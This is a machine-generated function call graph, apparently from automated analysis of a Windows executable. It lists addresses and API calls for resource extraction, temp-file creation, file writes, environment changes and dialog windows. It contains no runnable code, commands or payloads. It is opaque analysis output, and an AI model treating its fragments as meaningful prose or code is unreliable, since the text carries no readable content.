8793 4039aa 8792->8793 9572 405182 TlsGetValue 8793->9572 8795 4039af 8796 405eb0 6 API calls 8795->8796 8797 4039b7 8796->8797 8798 40dec0 3 API calls 8797->8798 8799 4039c1 8798->8799 9573 40de80 GetLastError TlsGetValue SetLastError 8799->9573 8801 4039c7 9574 40de80 GetLastError TlsGetValue SetLastError 8801->9574 8803 4039cf 9575 40de80 GetLastError TlsGetValue SetLastError 8803->9575 8805 4039d7 9576 40de80 GetLastError TlsGetValue SetLastError 8805->9576 8807 4039df 8808 40d100 8 API calls 8807->8808 8809 4039ef 8808->8809 9577 405182 TlsGetValue 8809->9577 8811 4039f4 8812 405eb0 6 API calls 8811->8812 8813 4039fc 8812->8813 8814 40dec0 3 API calls 8813->8814 8815 403a06 8814->8815 9578 40de80 GetLastError TlsGetValue SetLastError 8815->9578 8817 403a0c 9579 40de80 GetLastError TlsGetValue SetLastError 8817->9579 8819 403a14 9580 40de80 GetLastError TlsGetValue SetLastError 8819->9580 8821 403a1c 9581 40de80 GetLastError TlsGetValue SetLastError 8821->9581 8823 403a24 8824 40d100 8 API calls 8823->8824 8825 403a34 8824->8825 9582 405182 TlsGetValue 8825->9582 8827 403a39 8828 405eb0 6 API calls 8827->8828 8829 403a41 8828->8829 8830 40dec0 3 API calls 8829->8830 8831 403a4b 8830->8831 9583 40de80 GetLastError TlsGetValue SetLastError 8831->9583 8833 403a51 9584 403cd7 8833->9584 8836 4051a0 3 API calls 8837 403a66 8836->8837 9625 40de80 GetLastError TlsGetValue SetLastError 8837->9625 8839 403a6c 8840 403cd7 84 API calls 8839->8840 8841 403a7c 8840->8841 8842 40dec0 3 API calls 8841->8842 8843 403a88 8842->8843 9626 40de80 GetLastError TlsGetValue SetLastError 8843->9626 8845 403a8e 8846 403cd7 84 API calls 8845->8846 8847 403a9e 8846->8847 8848 40dec0 3 API calls 8847->8848 8849 403aa8 8848->8849 9627 40de80 GetLastError TlsGetValue SetLastError 8849->9627 8851 403aae 8852 403cd7 84 API calls 8851->8852 8853 403abe 8852->8853 8854 40dec0 3 API calls 8853->8854 8855 403ac8 8854->8855 9628 40de80 GetLastError TlsGetValue SetLastError 8855->9628 8857 403ace 8858 403cd7 84 API calls 8857->8858 8859 403ade 8858->8859 8860 40dec0 3 API calls 8859->8860 8861 403ae8 8860->8861 9629 40de80 GetLastError TlsGetValue SetLastError 8861->9629 8863 403aee 9630 40de80 GetLastError TlsGetValue SetLastError 8863->9630 8865 403af6 9631 40de80 GetLastError TlsGetValue SetLastError 8865->9631 8867 403afe 8868 402bfa 43 API calls 8867->8868 8869 403b0b 8868->8869 9632 40e080 TlsGetValue 8869->9632 8871 403b10 9633 405182 TlsGetValue 8871->9633 8873 403b1f 9634 406650 8873->9634 8876 40dec0 3 API calls 8877 403b32 8876->8877 9637 40de80 GetLastError TlsGetValue SetLastError 8877->9637 8879 403b38 9638 40de80 GetLastError TlsGetValue SetLastError 8879->9638 8881 403b40 9639 40de80 GetLastError TlsGetValue SetLastError 8881->9639 8883 403b48 8884 402bfa 43 API calls 8883->8884 8885 403b55 8884->8885 9640 40e080 TlsGetValue 8885->9640 8887 403b5a 9641 405182 TlsGetValue 8887->9641 8889 403b69 8890 406650 13 API calls 8889->8890 8891 403b72 8890->8891 8892 40dec0 3 API calls 8891->8892 8893 403b7c 8892->8893 9642 40de80 GetLastError TlsGetValue SetLastError 8893->9642 8895 403b82 9643 40de80 GetLastError TlsGetValue SetLastError 8895->9643 8897 403b8e 8898 40e020 4 API calls 8897->8898 8899 403b96 8898->8899 8900 40e020 4 API calls 8899->8900 8901 403ba1 8900->8901 8902 40e020 4 API calls 8901->8902 8903 403bab 8902->8903 8904 40e020 4 API calls 8903->8904 8905 403bb5 8904->8905 8906 40e020 4 API calls 8905->8906 8907 403bbf 8906->8907 9644 40e080 TlsGetValue 8907->9644 8909 403bc4 9645 405182 TlsGetValue 8909->9645 8911 403bcf 9646 40240c 8911->9646 8914 4051a0 3 API calls 8915 403bdd 8914->8915 8916 40df50 HeapFree 8915->8916 8917 403be8 8916->8917 8918 40df50 HeapFree 8917->8918 8919 403bf1 8918->8919 8920 40df50 HeapFree 8919->8920 8921 403bfa 8920->8921 8922 40df50 HeapFree 8921->8922 8923 403c03 8922->8923 8924 40df50 HeapFree 8923->8924 8925 403c0c 8924->8925 8926 40df50 HeapFree 8925->8926 8927 403c15 8926->8927 8928 40df50 HeapFree 8927->8928 8929 403c1e 8928->8929 8930 40df50 HeapFree 8929->8930 8931 403c27 8930->8931 8932 40df50 HeapFree 8931->8932 8933 403c30 8932->8933 8934 40df50 HeapFree 8933->8934 8935 403c39 8934->8935 8936 40de80 GetLastError TlsGetValue SetLastError 8935->8936 8936->7745 8937->7751 8938->7767 8975 4054b7 EnterCriticalSection 8974->8975 8976 404502 8974->8976 8979 4054cd 8975->8979 8983 4054fd 8975->8983 8976->7765 8977 40db72 HeapAlloc 8981 405517 LeaveCriticalSection 8977->8981 8978 4054ce WaitForSingleObject 8978->8979 8980 4054de CloseHandle 8978->8980 8979->8978 8979->8983 8982 40db32 HeapFree 8980->8982 8981->8976 8982->8979 8983->8977 8985 40dfc0 21 API calls 8984->8985 8986 402cb7 8985->8986 8987 405060 2 API calls 8986->8987 8988 402cc3 8987->8988 8989 402cf0 8988->8989 9856 40de80 GetLastError TlsGetValue SetLastError 8988->9856 9114 40e0e0 9064->9114 9068 402bc7 9067->9068 9068->9068 9069 40dfc0 21 API calls 9068->9069 9070 402bd9 GetNativeSystemInfo 9069->9070 9071 402bec 9070->9071 9071->8217 9071->8218 9073 4055c8 9072->9073 9077 4032bd 9072->9077 9073->9077 9120 405553 memset GetModuleHandleW 9073->9120 9076 405606 GetVersionExW 9076->9077 9077->8218 9078->8226 9079->8230 9081 40e260 3 API calls 9080->9081 9082 4032ef 9081->9082 9082->8236 9083->8241 9084->8257 9085->8272 9087 40d498 5 API calls 9086->9087 9088 40add5 9087->9088 9089 40ae6e 9088->9089 9090 40addf CreateFileW 9088->9090 9089->8283 9091 40ae00 9090->9091 9092 40ae20 9090->9092 9091->9092 9094 40ae0d HeapAlloc 9091->9094 9093 40d40a 4 API calls 9092->9093 9095 40ae65 9092->9095 9093->9095 9094->9092 9095->8283 9097 40a9e9 9096->9097 9098 40a9da 9096->9098 9123 40d459 EnterCriticalSection 9097->9123 9127 40d9f5 9098->9127 9103 40aa2d 9103->8284 9104 40aa19 CloseHandle 9106 40d40a 4 API calls 9104->9106 9106->9103 9107 40aa08 HeapFree 9107->9104 9108->8291 9109->8293 9110->8225 9111->8229 9112->8244 9113->8251 9115 4032a2 9114->9115 9116 40e0ea wcslen HeapAlloc 9114->9116 9115->8213 9118 40e3a0 9116->9118 9119 40e3b0 9118->9119 9119->9115 9121 40558b 9120->9121 9122 40557b GetProcAddress 9120->9122 9121->9076 9121->9077 9122->9121 9124 40d472 9123->9124 9125 40d47d LeaveCriticalSection 9123->9125 9124->9125 9126 40a9f6 9125->9126 9126->9103 9126->9104 9133 40aa40 9126->9133 9128 40da02 9127->9128 9129 40a9e5 9127->9129 9136 40db1b EnterCriticalSection 9128->9136 9129->8284 9132 40da08 9132->9129 9137 40dac4 9132->9137 9134 40aa54 WriteFile 9133->9134 9135 40aa7c 9133->9135 9134->9107 9135->9107 9136->9132 9138 40dad0 9137->9138 9139 40db14 9138->9139 9140 40db0a LeaveCriticalSection 9138->9140 9139->9132 9140->9139 9142 40dfc0 21 API calls 9141->9142 9143 4026c1 LoadResource SizeofResource 9142->9143 9144 409ba0 RtlAllocateHeap 9143->9144 9145 4026ee 9144->9145 9158 409c80 memcpy 9145->9158 9147 402705 FreeResource 9148 402715 9147->9148 9149 4046ef 9148->9149 9159 409b60 9149->9159 9151 4046f8 9151->8320 9153 409ba8 RtlAllocateHeap 9152->9153 9154 409bba 9152->9154 9153->8317 9154->8317 9162 40e7e0 9155->9162 9157 402f24 9157->8322 9158->9147 9160 409b68 HeapSize 9159->9160 9161 409b7a 9159->9161 9160->9151 9161->9151 9163 40e7f8 __fprintf_l 9162->9163 9165 40e8aa __fprintf_l 9163->9165 9166 40e950 9163->9166 9165->9157 9167 40f3b2 9166->9167 9171 40e960 __fprintf_l 9166->9171 9167->9163 9168 40ef37 9172 40efa4 __fprintf_l 9168->9172 9173 4104f0 9168->9173 9170 40ee4f memcpy 9170->9171 9171->9167 9171->9168 9171->9170 9172->9163 9174 410504 9173->9174 9175 410572 memcpy 9174->9175 9176 41054c memcpy 9174->9176 9178 41051f 9174->9178 9179 410599 memcpy 9175->9179 9180 4105b8 9175->9180 9176->9172 9178->9172 9179->9172 9180->9172 9181->8333 9182->8337 9183->8342 9184->8345 9186 409c29 9185->9186 9187 409c19 9185->9187 9188 40e260 3 API calls 9186->9188 9289 409bc0 9187->9289 9191 409c3f 9188->9191 9190 409c26 9190->8349 9295 40e3f0 TlsGetValue 9191->9295 9193 409c68 9193->8349 9194->8352 9296 405f90 9195->9296 9197 402211 9197->8358 9198->8362 9199->8364 9200->8366 9201->8368 9202->8372 9203->8378 9204->8380 9205->8382 9206->8384 9208 40590f 9207->9208 9215 405801 9207->9215 9306 40e340 TlsGetValue 9208->9306 9210 405918 9210->8386 9211 405886 9213 40e1e0 TlsGetValue 9211->9213 9212 405850 wcsncmp 9212->9215 9214 4058c7 9213->9214 9216 4058e9 9214->9216 9305 40e230 TlsGetValue 9214->9305 9215->9211 9215->9212 9217 40e260 3 API calls 9216->9217 9220 4058f0 9217->9220 9219 4058d7 memmove 9219->9216 9221 405901 9220->9221 9222 4058f6 wcsncpy 9220->9222 9221->8386 9222->9221 9223->8388 9224->8390 9225->8392 9226->8396 9227->8398 9307 408e58 9228->9307 9230 408f81 9231 408e58 3 API calls 9230->9231 9232 408f90 9231->9232 9233 408e58 3 API calls 9232->9233 9234 408fa3 9233->9234 9235 408fb0 GetStockObject 9234->9235 9236 408fbd LoadIconW LoadCursorW RegisterClassExW 9234->9236 9235->9236 9311 4094d1 GetForegroundWindow 9236->9311 9241 409047 IsWindowEnabled 9242 40906b 9241->9242 9243 409052 EnableWindow 9241->9243 9244 4094d1 3 API calls 9242->9244 9243->9242 9245 40907e GetSystemMetrics GetSystemMetrics CreateWindowExW 9244->9245 9246 4092ba 9245->9246 9247 4090cb SetWindowLongW CreateWindowExW SendMessageW 9245->9247 9248 4092cd 9246->9248 9325 40e340 TlsGetValue 9246->9325 9249 409125 9247->9249 9250 409128 CreateWindowExW SendMessageW SetFocus 9247->9250 9326 408e9a 9248->9326 9249->9250 9253 4091a5 CreateWindowExW SendMessageW CreateAcceleratorTableW SetForegroundWindow BringWindowToTop 9250->9253 9254 40917b SendMessageW wcslen wcslen SendMessageW 9250->9254 9256 40926a 9253->9256 9254->9253 9258 409273 9256->9258 9259 40922e GetMessageW 9256->9259 9257 408e9a HeapFree 9260 4092df 9257->9260 9262 409277 DestroyAcceleratorTable 9258->9262 9263 40927e 9258->9263 9259->9258 9261 409243 TranslateAcceleratorW 9259->9261 9264 408e9a HeapFree 9260->9264 9261->9256 9265 409254 TranslateMessage DispatchMessageW 9261->9265 9262->9263 9263->9246 9266 409285 wcslen 9263->9266 9267 4092e5 9264->9267 9265->9256 9268 40e260 3 API calls 9266->9268 9267->8400 9269 40929c wcscpy HeapFree 9268->9269 9269->9246 9270->8407 9271->8409 9272->8411 9273->8413 9274->8417 9275->8423 9276->8425 9277->8427 9278->8431 9279->8433 9281 4094d1 3 API calls 9280->9281 9282 408e2d 9281->9282 9283 409588 16 API calls 9282->9283 9284 408e36 MessageBoxW 9283->9284 9285 409588 16 API calls 9284->9285 9286 40239f 9285->9286 9286->8436 9287->8334 9288->8341 9290 409bcd 9289->9290 9291 40e260 3 API calls 9290->9291 9292 409beb 9291->9292 9293 409bf1 memcpy 9292->9293 9294 409bff 9292->9294 9293->9294 9294->9190 9295->9193 9299 405fa1 9296->9299 9297 40e1e0 TlsGetValue 9298 406014 9297->9298 9300 40e260 3 API calls 9298->9300 9299->9297 9299->9299 9301 406022 9300->9301 9303 406032 9301->9303 9304 40e370 TlsGetValue 9301->9304 9303->9197 9304->9303 9305->9219 9306->9210 9308 408e60 wcslen HeapAlloc 9307->9308 9309 408e96 9307->9309 9308->9309 9310 408e86 wcscpy 9308->9310 9309->9230 9310->9230 9312 409032 9311->9312 9313 4094e2 GetWindowThreadProcessId GetCurrentProcessId 9311->9313 9314 409588 9312->9314 9313->9312 9315 409592 EnumWindows 9314->9315 9320 4095dd 9314->9320 9316 40903e 9315->9316 9317 4095af 9315->9317 9329 409507 GetWindowThreadProcessId GetCurrentThreadId 9315->9329 9316->9241 9316->9242 9317->9316 9319 4095b1 GetCurrentThreadId 9317->9319 9322 4095c4 SetWindowPos 9317->9322 9318 4095ea GetCurrentThreadId 9318->9320 9319->9317 9320->9316 9320->9318 9321 409600 EnableWindow 9320->9321 9323 409611 SetWindowPos 9320->9323 9324 40db32 HeapFree 9320->9324 9321->9320 9322->9317 9323->9320 9324->9320 9325->9248 9327 408ea1 HeapFree 9326->9327 9328 408eb3 9326->9328 9327->9328 9328->9257 9330 409525 IsWindowVisible 9329->9330 9331 40957f 9329->9331 9330->9331 9332 409530 9330->9332 9333 40db72 HeapAlloc 9332->9333 9334 40953c GetCurrentThreadId GetWindowLongW 9333->9334 9335 40955a 9334->9335 9336 40955e GetForegroundWindow 9334->9336 9335->9336 9336->9331 9337 409568 IsWindowEnabled 9336->9337 9337->9331 9338 409573 EnableWindow 9337->9338 9338->9331 9339->8447 9340->8450 9342 40e260 3 API calls 9341->9342 9343 40a769 GetTempPathW LoadLibraryW 9342->9343 9344 40a7a4 9343->9344 9345 40a786 GetProcAddress 9343->9345 9367 40e3f0 TlsGetValue 9344->9367 9346 40a796 GetLongPathNameW 9345->9346 9347 40a79d FreeLibrary 9345->9347 9346->9347 9347->9344 9349 401a0d 9349->8453 9350->8456 9351->8459 9368 40a7b9 9352->9368 9355 40a6c5 9356 40a6d4 wcsncpy wcslen 9355->9356 9357 401a6a GetTempFileNameW 9355->9357 9359 40a708 CreateDirectoryW 9356->9359 9360 40de80 GetLastError TlsGetValue SetLastError 9357->9360 9359->9357 9360->8470 9361->8472 9362->8482 9363->8484 9364->8492 9365->8494 9366->8500 9367->9349 9369 40a7c0 9368->9369 9370 401a5f 9368->9370 9371 40a7d6 DeleteFileW 9369->9371 9372 40a7c7 SetFileAttributesW 9369->9372 9370->9355 9371->9370 9372->9371 9373->8512 9375 40a961 SetCurrentDirectoryW 9374->9375 9376 4046cb 9374->9376 9375->9376 9376->8521 9377->8603 9378->8638 9379->8545 9380->8552 9381->8546 9382->8551 9383->8564 9385 40e260 3 API calls 9384->9385 9386 40a84f 9385->9386 9387 40a85e LoadLibraryW 9386->9387 9393 40a8e9 9386->9393 9388 40a8cb 9387->9388 9389 40a86f GetProcAddress 9387->9389 9391 40a96c 4 API calls 9388->9391 9390 40a8c0 FreeLibrary 9389->9390 9397 40a884 9389->9397 9390->9388 9398 40a91b 9390->9398 9396 40a8d3 wcscat wcslen 9391->9396 9393->9398 9444 40a96c SHGetFolderLocation 9393->9444 9395 40362c 9395->8593 9396->9398 9397->9390 9399 40a896 wcscpy wcscat wcslen CoTaskMemFree 9397->9399 9450 40e3f0 TlsGetValue 9398->9450 9399->9390 9400->8561 9401->8579 9402->8566 9403->8583 9404->8580 9405->8589 9406->8584 9407->8604 9408->8590 9409->8611 9410->8605 9411->8625 9412->8612 9413->8629 9414->8618 9415->8634 9417 409368 CoInitialize 9416->9417 9418 409379 memset LoadLibraryW 9416->9418 9417->9418 9419 4093a3 GetProcAddress GetProcAddress 9418->9419 9420 4094ab 9418->9420 9421 4093d2 wcsncpy wcslen 9419->9421 9422 4093cd 9419->9422 9423 40e260 3 API calls 9420->9423 9424 409401 9421->9424 9422->9421 9425 4094b8 9423->9425 9426 4094d1 3 API calls 9424->9426 9451 40e3f0 TlsGetValue 9425->9451 9427 40941f 9426->9427 9430 409588 16 API calls 9427->9430 9429 4037c6 9429->8648 9431 409442 9430->9431 9432 409588 16 API calls 9431->9432 9433 409457 9432->9433 9434 40949f FreeLibrary 9433->9434 9435 40e260 3 API calls 9433->9435 9434->9420 9434->9425 9436 409468 CoTaskMemFree wcslen 9435->9436 9436->9434 9438 409493 9436->9438 9438->9434 9440 40553b timeBeginPeriod 9439->9440 9441 40554d Sleep 9439->9441 9440->9441 9442->8619 9443->8635 9445 40a98b SHGetPathFromIDListW 9444->9445 9446 40a9be 9444->9446 9447 40a9b5 CoTaskMemFree 9445->9447 9448 40a999 wcslen 9445->9448 9446->9398 9447->9446 9448->9447 9449 40a9a6 9448->9449 9449->9447 9450->9395 9451->9429 9452->8670 9453->8672 9454->8678 9455->8680 9456->8684 9457->8703 9458->8705 9459->8714 9461 4024f7 9460->9461 9461->9461 9462 40dfc0 21 API calls 9461->9462 9463 402509 9462->9463 9464 4051a0 3 API calls 9463->9464 9483 402512 9464->9483 9465 402593 9528 40de80 GetLastError TlsGetValue SetLastError 9465->9528 9467 402599 9529 40de80 GetLastError TlsGetValue SetLastError 9467->9529 9469 4025a1 GetCommandLineW 9471 409bc0 4 API calls 9469->9471 9470 405dc0 3 API calls 9470->9483 9472 4025ae 9471->9472 9474 40dec0 3 API calls 9472->9474 9473 40dec0 TlsGetValue RtlAllocateHeap RtlReAllocateHeap 9473->9483 9475 4025b8 9474->9475 9530 40de80 GetLastError TlsGetValue SetLastError 9475->9530 9476 40de80 GetLastError TlsGetValue SetLastError 9476->9483 9478 4025c2 9479 40e020 4 API calls 9478->9479 9481 4025ca 9479->9481 9480 40e020 wcslen TlsGetValue HeapReAlloc HeapReAlloc 9480->9483 9482 40dec0 3 API calls 9481->9482 9484 4025d4 PathRemoveArgsW 9482->9484 9483->9465 9483->9470 9483->9473 9483->9476 9483->9480 9485 4025eb 9484->9485 9486 402651 9485->9486 9531 40de80 GetLastError TlsGetValue SetLastError 9485->9531 9488 4098c0 SetEnvironmentVariableW 9486->9488 9490 40265e 9488->9490 9489 4025fd 9491 40e020 4 API calls 9489->9491 9544 40de80 GetLastError TlsGetValue SetLastError 9490->9544 9493 40260a 9491->9493 9532 40de80 GetLastError TlsGetValue SetLastError 9493->9532 9494 402668 9496 40e020 4 API calls 9494->9496 9497 402670 9496->9497 9545 405170 TlsGetValue 9497->9545 9498 402610 9533 40de80 GetLastError TlsGetValue SetLastError 9498->9533 9501 402677 9505 40df50 HeapFree 9501->9505 9502 402618 9534 40de80 GetLastError TlsGetValue SetLastError 9502->9534 9504 402620 9535 40de80 GetLastError TlsGetValue SetLastError 9504->9535 9507 40268f 9505->9507 9509 40df50 HeapFree 9507->9509 9508 402628 9536 406110 9508->9536 9511 402698 9509->9511 9513 40df50 HeapFree 9511->9513 9512 402639 9543 405182 TlsGetValue 9512->9543 9515 4026a1 9513->9515 9517 40df50 HeapFree 9515->9517 9516 40263e 9518 406060 5 API calls 9516->9518 9519 4026aa 9517->9519 9520 402646 9518->9520 9521 40df50 HeapFree 9519->9521 9522 40dec0 3 API calls 9520->9522 9523 401ea4 9521->9523 9522->9486 9523->8720 9524->8726 9525->8715 9526->8727 9527->8735 9528->9467 9529->9469 9530->9478 9531->9489 9532->9498 9533->9502 9534->9504 9535->9508 9537 406146 9536->9537 9538 406118 9536->9538 9555 40e340 TlsGetValue 9537->9555 9546 406080 9538->9546 9540 40614f 9540->9512 9543->9516 9544->9494 9545->9501 9547 40e1e0 TlsGetValue 9546->9547 9548 40609c 9547->9548 9549 40e260 3 API calls 9548->9549 9550 4060a8 9549->9550 9552 4060b4 9550->9552 9556 40e370 TlsGetValue 9550->9556 9557 40e3f0 TlsGetValue 9552->9557 9554 4060fd 9554->9512 9555->9540 9556->9552 9557->9554 9558->8748 9559->8750 9560->8753 9561->8755 9562->8761 9563->8769 9564->8771 9565->8773 9566->8775 9567->8779 9568->8785 9569->8787 9570->8789 9571->8791 9572->8795 9573->8801 9574->8803 9575->8805 9576->8807 9577->8811 9578->8817 9579->8819 9580->8821 9581->8823 9582->8827 9583->8833 9585 40dfc0 21 API calls 9584->9585 9586 403ce3 9585->9586 9587 4051a0 3 API calls 9586->9587 9588 403cec 9587->9588 9589 405060 2 API calls 9588->9589 9590 403cf8 FindResourceW 9589->9590 9591 403db3 9590->9591 9592 403d1b 9590->9592 9714 40de80 GetLastError TlsGetValue SetLastError 9591->9714 9593 4026b8 26 API calls 9592->9593 9595 403d2a 9593->9595 9597 4046ef HeapSize 9595->9597 9596 403dbd 9598 40e020 4 API calls 9596->9598 9599 403d37 9597->9599 9600 403dc5 9598->9600 9661 4011de 9599->9661 9715 405170 TlsGetValue 9600->9715 9604 403dcc 9607 40df50 HeapFree 9604->9607 9605 403d5a 9685 4046ff 9605->9685 9606 403d7c 9701 40de80 GetLastError TlsGetValue SetLastError 9606->9701 9610 403de3 9607->9610 9614 40df50 HeapFree 9610->9614 9612 403d82 9702 40de80 GetLastError TlsGetValue SetLastError 9612->9702 9617 403a61 9614->9617 9616 403d8a 9703 409cb0 9616->9703 9617->8836 9618 403d7a 9716 40e0b0 TlsGetValue 9618->9716 9620 403da0 9622 40dec0 3 API calls 9620->9622 9623 403daa 9622->9623 9713 409b80 HeapFree 9623->9713 9625->8839 9626->8845 9627->8851 9628->8857 9629->8863 9630->8865 9631->8867 9632->8871 9633->8873 9793 406310 9634->9793 9636 403b28 9636->8876 9637->8879 9638->8881 9639->8883 9640->8887 9641->8889 9642->8895 9643->8897 9644->8909 9645->8911 9647 405060 2 API calls 9646->9647 9648 40241f 9647->9648 9649 405060 2 API calls 9648->9649 9650 40242c 9649->9650 9823 40acb0 9650->9823 9654 402457 9656 40a9d0 11 API calls 9654->9656 9655 402464 9657 40df50 HeapFree 9655->9657 9656->9655 9658 40248b 9657->9658 9659 40df50 HeapFree 9658->9659 9660 402494 9659->9660 9660->8914 9662 4011e6 9661->9662 9662->9662 9663 405060 2 API calls 9662->9663 9664 4011ff 9663->9664 9717 405700 9664->9717 9667 409b60 HeapSize 9668 401214 9667->9668 9669 40dbca 4 API calls 9668->9669 9670 401236 9669->9670 9671 40dbca 4 API calls 9670->9671 9672 401254 9671->9672 9673 40dbca 4 API calls 9672->9673 9674 4014ac 9673->9674 9675 40dbca 4 API calls 9674->9675 9676 4014ca 9675->9676 9724 409b80 HeapFree 9676->9724 9678 4014d3 9679 40df50 HeapFree 9678->9679 9680 4014e3 9679->9680 9681 40dd1d 2 API calls 9680->9681 9682 4014ed 9681->9682 9683 40dd1d 2 API calls 9682->9683 9684 4014f6 9683->9684 9684->9605 9684->9606 9686 40dfc0 21 API calls 9685->9686 9687 40470d 9686->9687 9688 405060 2 API calls 9687->9688 9689 404719 9688->9689 9690 40472c 9689->9690 9725 40249b 9689->9725 9699 40473d 9690->9699 9734 40acd0 9690->9734 9693 40df50 HeapFree 9694 403d71 9693->9694 9700 409b80 HeapFree 9694->9700 9695 40474f 9696 40478f 9695->9696 9695->9699 9745 40afb0 9695->9745 9698 40a9d0 11 API calls 9696->9698 9698->9699 9699->9693 9700->9618 9701->9612 9702->9616 9704 409cd0 9703->9704 9708 409d28 9703->9708 9705 40e260 3 API calls 9704->9705 9706 409cf9 9705->9706 9792 40e3f0 TlsGetValue 9706->9792 9707 409d83 MultiByteToWideChar 9710 40e260 3 API calls 9707->9710 9708->9707 9712 409da0 MultiByteToWideChar 9710->9712 9711 409d1d 9711->9620 9712->9620 9713->9591 9714->9596 9715->9604 9716->9604 9718 405710 WideCharToMultiByte 9717->9718 9719 40570b 9717->9719 9720 409ba0 RtlAllocateHeap 9718->9720 9719->9718 9721 405730 9720->9721 9722 405736 WideCharToMultiByte 9721->9722 9723 401207 9721->9723 9722->9723 9723->9667 9724->9678 9726 405060 2 API calls 9725->9726 9727 4024ac 9726->9727 9756 40ada0 9727->9756 9730 4024d3 9732 40df50 HeapFree 9730->9732 9731 40a9d0 11 API calls 9731->9730 9733 4024eb 9732->9733 9733->9690 9735 40d498 5 API calls 9734->9735 9736 40ace5 9735->9736 9737 40ad97 9736->9737 9738 40acef CreateFileW 9736->9738 9737->9695 9739 40ad10 CreateFileW 9738->9739 9740 40ad2c 9738->9740 9739->9740 9742 40ad4d 9739->9742 9741 40ad39 HeapAlloc 9740->9741 9740->9742 9741->9742 9743 40d40a 4 API calls 9742->9743 9744 40ad8e 9742->9744 9743->9744 9744->9695 9746 40afc2 9745->9746 9747 40b015 9745->9747 9748 40b00d 9746->9748 9749 40d459 2 API calls 9746->9749 9747->9696 9748->9696 9750 40afda 9749->9750 9751 40b003 9750->9751 9752 40aff2 WriteFile 9750->9752 9753 40afe4 9750->9753 9751->9696 9752->9751 9781 40b020 9753->9781 9755 40afec 9755->9696 9759 40aac0 9756->9759 9758 4024bf 9758->9730 9758->9731 9760 40aad8 9759->9760 9761 40d498 5 API calls 9760->9761 9762 40aaef 9761->9762 9763 40aca2 9762->9763 9764 40ab02 9762->9764 9765 40ab3e 9762->9765 9763->9758 9767 40ab19 9764->9767 9768 40ab1c CreateFileW 9764->9768 9766 40ab43 9765->9766 9771 40ab7c 9765->9771 9769 40ab5a 9766->9769 9770 40ab5d CreateFileW 9766->9770 9767->9768 9774 40abe8 9768->9774 9769->9770 9770->9774 9772 40aba7 CreateFileW 9771->9772 9771->9774 9773 40abc9 CreateFileW 9772->9773 9772->9774 9773->9774 9775 40ac22 9774->9775 9777 40ac0e HeapAlloc 9774->9777 9778 40ac70 9774->9778 9775->9778 9779 40ac5c SetFilePointer 9775->9779 9776 40d40a 4 API calls 9776->9763 9777->9775 9778->9776 9780 40ac81 9778->9780 9779->9778 9780->9758 9782 40b127 9781->9782 9783 40b03a 9781->9783 9782->9755 9784 40b040 SetFilePointer 9783->9784 9785 40b06b 9783->9785 9784->9785 9787 40aa40 WriteFile 9785->9787 9789 40b077 9785->9789 9786 40b0a7 9786->9755 9788 40b0ee 9787->9788 9788->9789 9790 40b0f5 WriteFile 9788->9790 9789->9786 9791 40b091 memcpy 9789->9791 9790->9755 9791->9755 9792->9711 9794 40631f 9793->9794 9795 406438 9794->9795 9806 4063ae 9794->9806 9796 40e1e0 TlsGetValue 9795->9796 9798 406442 9796->9798 9797 40660a 9797->9636 9799 40645a 9798->9799 9800 40644a _wcsdup 9798->9800 9801 40e1e0 TlsGetValue 9799->9801 9800->9799 9802 406460 9801->9802 9803 406477 9802->9803 9804 406468 _wcsdup 9802->9804 9805 40e1e0 TlsGetValue 9803->9805 9804->9803 9807 406480 9805->9807 9806->9797 9808 4063fc wcsncpy 9806->9808 9810 40642e 9806->9810 9809 406488 _wcsdup 9807->9809 9813 406498 9807->9813 9808->9806 9809->9813 9810->9636 9811 40e260 3 API calls 9812 406520 9811->9812 9814 406572 wcsncpy 9812->9814 9815 406526 9812->9815 9818 40658d 9812->9818 9813->9811 9814->9818 9816 4065e4 9815->9816 9817 4065db free 9815->9817 9819 4065f7 9816->9819 9820 4065eb free 9816->9820 9817->9816 9818->9815 9822 406625 wcsncpy 9818->9822 9819->9797 9821 4065fe free 9819->9821 9820->9819 9821->9797 9822->9818 9824 40aac0 15 API calls 9823->9824 9825 40243f 9824->9825 9825->9655 9826 40af80 9825->9826 9827 40d459 2 API calls 9826->9827 9828 40af8f 9827->9828 9829 40afa3 9828->9829 9832 40ae80 9828->9832 9829->9654 9831 40afa0 9831->9654 9833 40af74 9832->9833 9834 40ae94 9832->9834 9833->9831 9834->9833 9835 40aea8 9834->9835 9836 40af0d 9834->9836 9837 40aee0 9835->9837 9838 40aeb8 9835->9838 9850 40b130 WideCharToMultiByte 9836->9850 9837->9837 9840 40aeeb WriteFile 9837->9840 9843 40b020 4 API calls 9838->9843 9840->9831 9841 40af27 9842 40af6b 9841->9842 9844 40af37 9841->9844 9845 40af48 WriteFile 9841->9845 9842->9831 9846 40aeda 9843->9846 9847 40b020 4 API calls 9844->9847 9848 40af5c HeapFree 9845->9848 9846->9831 9849 40af42 9847->9849 9848->9842 9849->9848 9851 40b155 HeapAlloc 9850->9851 9852 40b18e 9850->9852 9853 40b189 9851->9853 9854 40b16c WideCharToMultiByte 9851->9854 9852->9841 9853->9841 9854->9853 10158 409def HeapAlloc 10157->10158 10159 409ed8 10157->10159 10158->7827 10158->7828 10184 40a11a 10159->10184 10161 409ee0 10162 40d946 9 API calls 10161->10162 10163 409ee8 HeapFree HeapFree 10162->10163 10164 409f23 HeapFree 10163->10164 10165 409f0f 10163->10165 10164->10158 10166 409f10 HeapFree 10165->10166 10166->10166 10167 409f22 10166->10167 10167->10164 10169 40d83a 10168->10169 10170 40d8f2 RtlAllocateHeap 10169->10170 10171 40d846 10169->10171 10173 40d907 10170->10173 10174 409e76 HeapAlloc 10170->10174 10191 40da43 LoadLibraryW 10171->10191 10173->10174 10176 40d930 InitializeCriticalSection 10173->10176 10174->7827 10176->10174 10177 40d86b 10179 40d887 HeapAlloc 10177->10179 10180 40d8e5 LeaveCriticalSection 10177->10180 10179->10180 10181 40d89d 10179->10181 10180->10174 10182 40d819 6 API calls 10181->10182 10183 40d8b4 10182->10183 10183->10180 10187 40a12e 10184->10187 10185 40a177 memset 10188 40a190 10185->10188 10186 40a139 HeapFree 10186->10187 10187->10185 10187->10186 10189 411d8a HeapFree 10187->10189 10190 40d74b 3 API calls 10187->10190 10188->10161 10189->10187 10190->10187 10192 40da60 GetProcAddress 10191->10192 10193 40da8b InterlockedCompareExchange 10191->10193 10196 40da80 FreeLibrary 10192->10196 10197 40da70 10192->10197 10194 40da9b 10193->10194 10195 40daaf InterlockedExchange 10193->10195 10198 40d855 EnterCriticalSection 10194->10198 10200 40daa0 Sleep 10194->10200 10195->10198 10196->10193 10196->10198 10197->10196 10198->10177 10200->10194 10201->7843 10202->7845 10203->7847 10204->7849 10205->7853 10206->7859 10207->7861 